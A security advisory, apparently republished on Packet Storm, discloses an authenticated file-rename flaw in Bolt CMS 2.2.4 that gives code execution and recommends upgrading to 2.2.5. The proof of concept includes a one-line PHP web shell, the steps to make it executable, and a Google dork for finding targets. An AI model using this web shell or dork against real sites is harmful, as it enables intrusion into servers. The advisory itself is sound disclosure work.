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Bolt 2.2.4 Shell Upload

🗓️ 18 Aug 2015 00:00:00Reported by Tim CoenType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 26 Views

Bolt 2.2.4 Shell Upload vulnerability allows code execution by renaming uploaded files in theme edito

Code
`Bolt 2.2.4: Code Execution  
Security Advisory – Curesec Research Team  
  
1. Introduction  
  
Affected Product: Bolt 2.2.4   
Fixed in: 2.2.5  
Fixed Version Link: http://bolt.cm/distribution/archive/bolt-2.2.5.zip   
Vendor Contact: Website: https://bolt.cm   
Vulnerability Type: Code Execution   
Remote Exploitable: Yes   
Reported to vendor: 07/14/2015   
Disclosed to public: 08/17/2015   
Release mode: Coordinated release   
CVE: n/a   
Google Dork: "This website is Built with Bolt" (About 11,100 results)   
Credits Tim Coen of Curesec GmbH   
  
2. Vulnerability Description  
  
The Bolt CMS does not allow the upload or editing of PHP files in its  
admin area, which should prevent code execution once an attacker gained  
admin credentials.  
  
However, when uploading, the actual file type is not checked. The theme  
editor allows for the renaming of uploaded files, and it does not check  
the file extension or file type when doing so. Because of this, an  
attacker can gain code execution.  
  
Please note that admin credentials are required.  
  
3. Proof of Concept  
  
Visit theme editor:  
http://localhost/bolt-git-2015-06-25-05c29bf/bolt/files/theme/base-2014  
Upload or edit any existing file with allowed extension to contain  
<?php passthru($_GET['e']);  
Rename the file, giving it an extension that will make it  
executable, eg .php  
  
The file will not be shown in the theme editor anymore, because PHP  
files are not shown, but it will be accessible via eg  
http://localhost/bolt-git-2015-06-25-05c29bf/theme/base-2014/README.php  
  
4. Solution  
  
To mitigate this issue please upgrade at least to version 2.2.5:  
  
http://bolt.cm/distribution/archive/bolt-2.2.5.zip  
  
Please note that a newer version might already be available.  
  
5. Report Timeline  
  
07/14/2015 Informed Vendor about Issue  
07/24/2015 Vendor releases Version 4.2.3  
08/17/2015 Disclosed to public  
  
6. Blog Reference:  
http://blog.curesec.com/article/blog/Bolt-224-Code-Execution-44.html  
  
  
`

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